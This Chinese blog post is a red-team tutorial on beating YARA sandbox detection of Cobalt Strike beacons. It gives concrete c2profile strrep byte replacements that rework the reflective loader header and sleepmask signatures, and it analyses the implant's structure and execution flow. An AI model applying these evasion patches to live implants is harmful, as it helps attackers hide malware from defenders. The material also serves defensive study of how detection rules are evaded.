关于yara各种检测cobaltstrike

admin 2023年6月13日15:00:58评论83 views字数 4392阅读14分38秒阅读模式

关于yara各种检测cobaltstrike

0x00 前言

这几天有好多小伙伴使用了星球版的cobaltstrike 4.5。昨天有个小伙伴遇到一个奇怪问题,不用他自定义的c2profile,微步云沙箱一个yara都没匹配到,但是使用了他自定义的c2profile,被沙箱的yara疯狂匹配。

  • 默认生成:https://s.threatbook.com/report/file/76e6e86b5850229c8bdc5e2b1e617240dc885c606c9ebc82c1f8fbfb87c57325

  • 自定义profile:https://s.threatbook.com/report/file/0ec7e263d3b540d1c71042a7ae6111b5ea2f641c0d7c08426f5f4f361f105af1

这个我也不知道为什么,按理说我没有过多针对yara规则做bypass,只把几个不好用c2profile篡改的点给patch掉了,剩余的地方应该很容易会被yara规则扫描到。(这里主要是stageless的exe,静态扫描)。

我为什么没有直接patch掉所有yara规则呢?我是不可能patch完的,yara有开源的规则,有闭源的规则,太多了,授人以鱼不如授人以渔,掌握了方法,自己在实际目标中,针对特定防御软件自行patch才是可取之道。

这种静态的规则检测,对抗其实很简单。这段时间有2篇不错的文章可以参考:

《Unleashing The Unseen: Harnessing The Power Of Cobalt Strike Profiles For EDR Evasion》

https://whiteknightlabs.com/2023/05/23/unleashing-the-unseen-harnessing-the-power-of-cobalt-strike-profiles-for-edr-evasion/

《Cobalt Strike and YARA: Can I Have Your Signature?》

https://www.cobaltstrike.com/blog/cobalt-strike-and-yara-can-i-have-your-signature/

我这儿拾人牙慧,使用微步云沙箱做做测试,微步云沙箱是国内使用最广泛的沙箱,非常优秀,本文测试不代表任何观点。

0x01 使用transform-x64替换特征码

我使用https://www.red-team.cn/index.php?tools随机生成一个c2profile。并生成一个stageless的exe上传微步云沙箱

https://s.threatbook.com/report/file/28681c38b237a86bf584a503bbc9117b35c39e097ac9949001121b63adc4d0e0

关于yara各种检测cobaltstrike

被疯狂扫出来了,点击查看匹配项特征如下:

050405040507050d05070504050704be0506050705010505378605010507050105106ff90500050405070537
%02d/%02d/%02d %02d:%02d:%02d
%s as %s%s: %d
48895c240848896c24104889742418574883ec204c8b5108418bf0488bea488bd9458b0a458b5a044d8d52084585c9
4d5a4152554889e54881ec20000000488d1d
e9d3fdffffeb0ab801000000e9ad030000
3bc7750dff15ee8f01003d33270000
4183c9ff33d2ff1525e101004c63c04983f8ff
488d4d97e8f8cbffff4c8d9c24d0000000418bc7498b5b20498b7328498b7b30
488b4c24208b04018b4c240833c88bc189442408
49c1e002e821e4000003f34d8d349e3bf57d13
752c4c8d45af488d55af488d4d27
bd0800000085d27459ffcf4d85ed
4c8b5308458b0a458b5a044d8d52084585c975054585db7433453bcb73e6498bf94c8b03

其中有字符,有指令,字符一般都是print之类函数中的,删除肯定是不行的,所以替换下其中无关紧要的字符就行了:

strrep "%02d/%02d/%02d %02d:%02d:%02d" "%02d-%02d-%02d %02d:%02d:%02d";
strrep "%s as %s\%s: %d" "%s - %s\%s: %d";

剩余的指令就是反射loader的头,默认的sleepmask。直接用https://defuse.ca/online-x86-assembler.htm 网站,把特征码转成指令,举1个例子:

关于yara各种检测cobaltstrike

这个是默认的sleepmask,然后复制下面的指令,把一些和顺序无关的mov指令调换下顺序:

mov    QWORD PTR [rsp+0x10],rbp
mov   QWORD PTR [rsp+0x8],rbx
mov   QWORD PTR [rsp+0x18],rsi
push   rdi
sub   rsp,0x20
mov   r10,QWORD PTR [rcx+0x8]
mov   rbp,rdx
mov   esi,r8d
mov   rbx,rcx
mov   r11d,DWORD PTR [r10+0x4]
mov   r9d,DWORD PTR [r10]
lea   r10,[r10+0x8]
test   r9d,r9d

然后再用上边的网站转换成16进制:

关于yara各种检测cobaltstrike

最后修改c2profile替换下就OK了。

strrep                  "x4Dx5Ax41x52x55x48x89xE5x48x81xECx20x00x00x00x48x8Dx1DxEAxFFxFFxFFx48x89xDFx48x81xC3xA4x6Ex01x00xFFxD3x41xB8xF0xB5xA2x56x68x04x00x00x00x5Ax48x89xF9xFFxD0" "x4Dx5Ax48x8Dx1DxF8xFFxFFxFFx41x52x48x83xECx28x48x89xDFx48x81xC3x52xB7x00x00x48x81xC3x52xB7x00x00xFFxD3x48xC7xC2x04x00x00x00x48x89xF9xFFxD0";
 
strrep "x48x89x5Cx24x08x48x89x6Cx24x10x48x89x74x24x18x57x48x83xECx20x4Cx8Bx51x08x41x8BxF0x48x8BxEAx48x8BxD9x45x8Bx0Ax45x8Bx5Ax04x4Dx8Dx52x08x45x85xC9" "x48x89x6Cx24x10x48x89x5Cx24x08x48x89x74x24x18x57x48x83xECx20x4Cx8Bx51x08x48x89xD5x44x89xC6x48x89xCBx45x8Bx5Ax04x45x8Bx0Ax4Dx8Dx52x08x45x85xC9";

微步云沙箱yara就扫不出来了:https://s.threatbook.com/report/file/db7f83d07fb51933d97763ac99ff252e66c6282ffcb4e4ba955fe8c570f35177

但是其中还有一个命名管道被检测到,这个是artifact kit中的,自己编译一个新的artifactkit就OK了。在bypass-pipe.c中:

关于yara各种检测cobaltstrike

这仅仅是过了一些规则的检测,但是依旧有一半的引擎被检测出,很多商业规则,比较难以测试,因此作为一个红队选手,编写一些自己的独自使用的loader很有必要,本文不具体阐述如何写loader,但是分析下cobaltstrike的植入体结构,有利于大家做对抗。

0x02 CobaltStrike植入体结构分析

其实我们生成的stageless文件包含4部分(按对抗点分):artifact、rdll loader、beacon、sleepmask。对应到cobaltstrike中的功能:

artifact -> artifact kit
rdll loader -> UDRL kit
beacon -> resource或sleeve目录下的beacon.xx.dll
sleepmask -> sleepmask kit

这是当前的CS的植入体结构,这个结构不是一蹴而就的,最开始只有artifact和beacon(包含rdll loader、sleepmask功能),artifact其实就是一个loader,你可以在其中加入各种对抗手法。慢慢的随着对抗升级,UDRL和sleepmask代码被从beacon中拆分了出来,让用户可以以BOF的形式自定义。

关于yara各种检测cobaltstrike

目前的执行流程就变成了如下图:

关于yara各种检测cobaltstrike

  1. artifact加载beacon.dll,beacon.dll被加载后触发DLL_PROCESS_ATTACH,执行配置解密并放入堆上(ps:这也是beaconeye检测原理)。然后执行导出函数ReflectiveLoader。

  2. rdll loader执行一系列的pe操作,把beacon在内存中安置好,然后执行清理,把自己清理掉。

  3. 把执行权给到beacon。

  4. beacon就开始组装metadata回连,然后根据sleep时间执行sleepmask加密堆和beacon。

  5. sleep时间到就解密beacon和堆,执行beacon中代码,执行完成又回到sleepmask。

  6. 4-5这个循环中,sleepmask的代码一直在内存中裸露的。(这个也是为什么当下内存查杀对抗点到了sleepmask上)

0x03 总结

本文是因一个小伙伴私聊微步云沙箱的yara检测而起,第一部分简单对抗了一下已有yara规则,步骤比较详细,适合新手小伙伴,但是好的做法还是自定义,在知己知彼的情况下自定义,适合有一定基础的小伙伴,于是引入第二部分,cs植入体可能被提取yara规则的地方,其中beacon目前代码没有公开,无法自定义,其他部分均可以自定义。当前情况下,基本把暴露的点都留给了使用者自定义了,因此CS在不同人手动,可能威力就不同了,同时对使用者的要求也提高了很多。

目前星球版的4.5在sleepmask这块功能要弱于4.8,后续会改进到4.8类似的功能。星球也有4.8和最新的配套kit,可以直接使用。

关于yara各种检测cobaltstrike

原文始发于微信公众号(鱼凫游民随笔):关于yara各种检测cobaltstrike

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月13日15:00:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   关于yara各种检测cobaltstrikehttp://cn-sec.com/archives/1803020.html

发表评论

匿名网友 填写信息